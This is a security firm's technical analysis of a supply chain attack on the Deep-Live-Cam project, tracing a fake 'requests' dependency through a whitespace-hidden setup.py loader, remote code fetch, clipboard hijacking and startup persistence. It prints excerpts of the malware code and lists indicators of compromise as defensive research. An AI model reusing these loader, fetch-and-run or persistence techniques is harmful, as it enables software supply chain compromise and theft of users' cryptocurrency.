---
title: "Deep-Live-Cam Supply Chain Attack: Technical Analysis"
description: "A malicious dependency in Deep-Live-Cam loads a clipboard hijacker. We trace the installation trigger, Telegraph delivery, and Windows and macOS persistence."
url: "https://safedep.io/blog/deep-live-cam-supply-chain-attack"
author: "SafeDep Team"
published: "2026-09-09"
---

# Deep-Live-Cam Supply Chain Attack: Technical Analysis

## Summary

On September 8, 2026, an attacker added a malicious source dependency to Deep-Live-Cam, a Python face swapping application with 96,600 GitHub stars.
The dependency contains a loader that downloads a cryptocurrency clipboard hijacker for Windows and macOS. The recovered
payload replaces wallet addresses in clipboard text and registers itself to run at login.

SafeDep traced the dependency change through the saved Python payloads and checked the incident against GitHub records.
The evidence establishes malicious
behavior in the code, but does not establish infection counts or financial losses.

## A dependency change redirects installation

Commit [`7895c547`](https://github.com/hacksider/Deep-Live-Cam/commit/7895c547a6788ee53e5c7c34e93454f86f6d2b53), titled
`chore: update requirements.txt`, rewrote 18 dependency entries to use source repositories. It also added this entry:

```text
# Deep-Live-Cam/requirements.txt, added line
requests @ git+https://github.com/pypls/requests.git
```

The new entry directs installation to `pypls/requests`. That repository declares the package name `requests` and retains
metadata linking to the legitimate Requests project. The surrounding dependency changes make the added source URL less
distinct. Concealment is a plausible explanation for that bulk rewrite. The diff alone does not establish that intent.

GitHub records the creation of the [`pypls` account](https://api.github.com/users/pypls) and its
[`requests` repository](https://api.github.com/repos/pypls/requests) on September 5. The saved Telegraph page
also carries a September 5 publication timestamp. These artifacts predate the dependency change by three days.

| Date and time (UTC)   | Event                                                                     |
| --------------------- | ------------------------------------------------------------------------- |
| September 8, 15:58:54 | GitHub records a push of `7895c547` to `main` under `hacksider`.          |
| September 9, 01:26:18 | `fred-cardoso` opens issue #1930 and identifies the malicious dependency. |
| September 9, 01:37:35 | GitHub records a push of revert `55d306d5` to `main`.                     |
| September 9, 01:39:12 | The maintainer reports password and key changes and closes the issue.     |

Sources: [GitHub public push events](https://api.github.com/repos/hacksider/Deep-Live-Cam/events),
[issue #1930](https://github.com/hacksider/Deep-Live-Cam/issues/1930), and the
[revert](https://github.com/hacksider/Deep-Live-Cam/commit/55d306d5ae07a4e6494013422ab244306a5c0879).
The push events place the malicious revision on `main` for about **9 hours and 39 minutes**.

The maintainer [reported unusual account access despite two-factor authentication](https://github.com/hacksider/Deep-Live-Cam/issues/1930#issuecomment-5594454950).
That statement and the push record support an account compromise assessment. They do not identify the credential used.
The unsigned commit and its author fields cannot distinguish a stolen token, SSH key, or session.

## The source build runs hidden code

The malicious dependency selects this build backend:

```toml
# pypls/requests/pyproject.toml at 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f
[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
```

During source installation, pip calls the build backend to obtain build requirements, generate metadata, and build a wheel.
The [`setuptools` backend executes `setup.py`](https://github.com/pypa/setuptools/blob/main/setuptools/build_meta.py) during
these operations. A user can reach the malicious code before launching Deep-Live-Cam. An installation error after that
point does not undo code execution.

Line 2 of `setup.py` starts with `import sys`, followed by **434 spaces** before the next statement. Beyond that whitespace,
the attacker placed imports and an `exec(compile(...))` expression. It decodes a Base64 string, decompresses it with `zlib`,
and executes the result. A second wrapper repeats this process and yields the loader saved as `stage2_payload.py`.

The following snippet shows the file structure. The 434 spaces on line 2 push the malicious code past the visible area
in most editors and review tools. Chinese, Japanese, and Korean (CJK) variable names (`一時1`, `シード5`) add a second layer of visual noise.

```python
# pypls/requests/setup.py at 43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f
# line 1
# -*- coding: utf-8 -*-
# line 2 (434 spaces between "import sys" and the semicolon replaced with ··· for display)
import sys  ···  ;import zlib as _z,base64 as _b,sys as _s;一時1=b'xJnufpepOjFF0G5u/WM='; \
    IlO1I1=b'AdrC77ZfFLRJuGZz/ZQ=';整数3=bytes([0xf0,0xb1,0x8c,0x70,0x1e,0x2d]); \
    exec(compile(_z.decompress(_b.b64decode('eNodVsmu5FgR3b+vSKkX...')),'<string>','exec'))
# lines 4-6
if sys.version_info < (3, 10):
    sys.stderr.write("Requests requires Python 3.10 or later.\n")
    sys.exit(1)
# lines 8-10
from setuptools import setup
setup()
```

The hidden code precedes both the Python version check and `setup()`. The version check is not a guard around the loader.
We decoded the embedded strings as data and verified that both outputs matched the saved artifact hashes.

The [pip build isolation documentation](https://pip.pypa.io/en/stable/reference/build-system/#build-isolation) describes
separation of build dependencies. It does not provide a security sandbox for this code.

## A Telegraph page delivers the next stage

The loader selects Windows or macOS and exits on other systems. Its download address uses hexadecimal encoding:

```python
# stage2_payload.py, line 23
字符4 = bytes.fromhex('68747470733a2f2f67726170682e6f72672f636f64696e672d7574662d382d30392d30352d32').decode()
```

The decoded address is `hxxps://graph[.]org/coding-utf-8-09-05-2`. The page is live and serving the payload at the time of writing. The loader reads the page, finds the article body,
converts line breaks, removes HTML tags, and decodes HTML entities. It then writes the extracted Python to a local file.

The following excerpt preserves the source identifiers and control flow. We decoded the string literals for readability:

```python
# stage2_payload.py, lines 30-41; string literals decoded, outer indentation removed
I1O0Il1O = IO1l11.find('<article')
if I1O0Il1O == -1:
    sys.exit(1)
I1Oll1llO1 = IO1l11.find('</article>', I1O0Il1O)
if I1Oll1llO1 == -1:
    sys.exit(1)
モジュール10 = IO1l11[I1O0Il1O:I1Oll1llO1 + len('</article>')]
モジュール10 = re.sub('<br\\s*/?>', '\n', モジュール10, flags=re.IGNORECASE)
オブジェクト11 = re.sub('<[^>]*>', '', モジュール10)
オブジェクト11 = html.unescape(オブジェクト11).strip()
if not オブジェクト11:
    sys.exit(1)
```

The destination is `%LOCALAPPDATA%\WindowsHelper\sys.pyw` on Windows or
`~/Library/Application Support/HowToFind/sys.py` on macOS. If the file exists, the loader skips the download and starts
the existing script. Windows execution uses `CREATE_NO_WINDOW`. macOS execution starts a new session. Both branches
discard standard output and standard error.

After writing a new file, the loader attempts a request to `hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info`:

```python
# stage2_payload.py, lines 45-48; string literal decoded, outer indentation removed
try:
    urllib.request.urlopen('https://abacus.jasoncameron.dev/hit/duff.com/info', timeout=5)
except Exception:
    pass
```

The endpoint path suggests a counter. The request occurs before the child process starts, so a hit would not prove
successful payload execution.

The saved page contains two more Base64 and `zlib` layers. Static extraction and decoding reproduced the supplied
`stage2_from_c2.py`, `stage3_payload.py`, and final `stage4_payload.py` hashes.

```text showLineNumbers=false
requirements.txt
  → pypls/requests/setup.py
  → two decoding layers → Windows/macOS loader
  → Telegraph article → local Python script
  → two decoding layers → persistence and clipboard replacement
```

## The payload replaces clipboard addresses

The final payload reads the clipboard through Windows APIs or macOS `pbpaste`. It scans changed text for alphanumeric
sequences of 26 to 120 characters, then passes each candidate to an address classifier. The replacement function is:

```python
# stage4_payload.py, lines 364-373
def II01l010III(状态115: str, target_type: Optional[函数80]=None) -> str:

    def OO001ll0(キュー103):
        lO01l10I = 队列102(キュー103.group(0))
        if not lO01l10I.ok or lO01l10I.type is None:
            return キュー103.group(0)
        if target_type is not None and lO01l10I.type != target_type:
            return キュー103.group(0)
        return lO01l10I.type.value
    return lIlI111I.sub(OO001ll0, 状态115)
```

`队列102` classifies the candidate. `函数80` maps each supported address type to a hardcoded replacement.
The callback returns that replacement through `type.value`. Because the outer function uses regular expression
substitution, it can replace an address within a larger piece of copied text.

The classifier includes Base58Check validation for Bitcoin and Tron, plus Bech32 and Bech32m checks for Bitcoin witness
addresses. For Ethereum, it implements Keccak-256 and checks mixed-case addresses using
[Ethereum Improvement Proposal 55](https://eips.ethereum.org/EIPS/eip-55).
Its Solana branch accepts Base58 candidates that decode to 32 bytes.
These are input checks. They do not prove ownership of the replacement addresses or successful transfers.
The payload also contains a Russian language error string, `"Неизвестный тип кошелька"` ("Unknown wallet type"), which is a minor language-origin indicator.

The loop writes changed text back through `SetClipboardData` or `pbcopy`:

```python
# stage4_payload.py, lines 455-465
def Il1I0Ol(target_type: Optional[函数80]=None, **列表123):
    キュー124 = 结果117()
    while True:
        III11l1 = 结果117()
        if III11l1 is not None and III11l1 != キュー124:
            返回126 = II01l010III(III11l1, target_type=target_type)
            if 返回126 != III11l1 and 函数121(返回126):
                キュー124 = 返回126
            else:
                キュー124 = III11l1
        time.sleep(0.3)
```

The delay is 0.3 seconds between iterations. Linux clipboard helpers also appear in the final payload, but the earlier
loader exits on Linux. Those helpers do not establish Linux exposure through this delivery path.

## The payload registers startup persistence

Before starting the clipboard loop, the payload attempts to register itself for later execution.

On Windows, it writes a `SysHelper` value under `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`.
The command contains the Python interpreter and script path. It selects `pythonw.exe` when available:

```python
# stage4_payload.py, lines 54-55 and 65-66; separate excerpts, string literal decoded
偏移14 = f'"{戻り値12}" "{浮点3}"'
掩码15 = 'SysHelper'

if 类别17 != 偏移14:
    winreg.SetValueEx(O0IIOII, 掩码15, 0, winreg.REG_SZ, 偏移14)
```

On macOS, it writes `~/Library/LaunchAgents/com.user.syshelper.plist` and invokes `launchctl load`.
The generated property list contains these settings:

```xml
<!-- stage4_payload.py, 字典4() output template; excerpt with line breaks expanded -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
```

Its `ProgramArguments` contain `sys.executable` and the script's absolute path. This persistence depends on those files
remaining available. Reverting `requirements.txt` does not remove the files or startup entries from an affected machine.

## Indicators of compromise

The network indicators identify specific paths on shared services. They do not imply that all traffic to those services is malicious.

| Type                             | Indicator                                                              |
| -------------------------------- | ---------------------------------------------------------------------- |
| Malicious dependency             | `hxxps://github[.]com/pypls/requests`                                  |
| Analyzed dependency revision     | `43f402baa9d00d986d2be3e3cd6d1a3e69ec1f8f`                             |
| Deep-Live-Cam malicious revision | `7895c547a6788ee53e5c7c34e93454f86f6d2b53`                             |
| Deep-Live-Cam revert             | `55d306d5ae07a4e6494013422ab244306a5c0879`                             |
| Payload page                     | `hxxps://graph[.]org/coding-utf-8-09-05-2`                             |
| Counter request                  | `hxxps://abacus[.]jasoncameron[.]dev/hit/duff[.]com/info`              |
| Windows payload                  | `%LOCALAPPDATA%\WindowsHelper\sys.pyw`                                 |
| Windows startup value            | `SysHelper` under `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` |
| macOS payload                    | `~/Library/Application Support/HowToFind/sys.py`                       |
| macOS startup file               | `~/Library/LaunchAgents/com.user.syshelper.plist`                      |
| Attacker account email           | `oakleyiballard1984@proton.me` (from `pypls` commits)                  |

These replacement strings come from the decoded `函数80` enumeration. Ethereum has three case variants of one address.
The `BTC_P2WSH` and `BTC_P2TR` branches share the same `bc1p` replacement string.

| Source label            | Replacement string                                               |
| ----------------------- | ---------------------------------------------------------------- |
| `ETH_EIP55`             | `0x58d28b72c54A5b645201900c8aA8550ad7f7d90b`                     |
| `BTC_P2PKH`             | `1LeCcPytFxpeo6Leujc4USuCwec9oDFa92`                             |
| `BTC_P2SH`              | `3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB`                             |
| `BTC_P2WPKH`            | `bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3`                     |
| `BTC_P2WSH`, `BTC_P2TR` | `bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6` |
| `TRX_BASE58CHECK`       | `TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ`                             |
| `SOL_ED25519`           | `6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu`                   |

SHA-256 values identify the captured bytes, including intermediate decoded files. The hash of a decoded payload is not
the hash of its encoded script on disk.

| Artifact                                        | SHA-256                                                            |
| ----------------------------------------------- | ------------------------------------------------------------------ |
| `setup.py`                                      | `b34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4` |
| `stage1_payload.py`                             | `f6fbefc82589dbeddabc8883c63cbb027239019ed38fafa83a9139c2585064f5` |
| `stage2_payload.py`                             | `175f9e7fad2661f647c8f2438bf0d757fe18ab364a22c544c938f45e0e4f6ced` |
| `stage2_from_c2.py`, extracted page code        | `eafed30038d53614cf3dc7a8f19c2dd663352b3c8cb78aa5ed1b9d9710017570` |
| `stage3_payload.py`                             | `c91a00b56ad2591236ccefd701a6b19b72dbacefadbdb0f11e13693c2d6764d9` |
| `stage4_payload.py`, decoded clipboard hijacker | `73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561` |
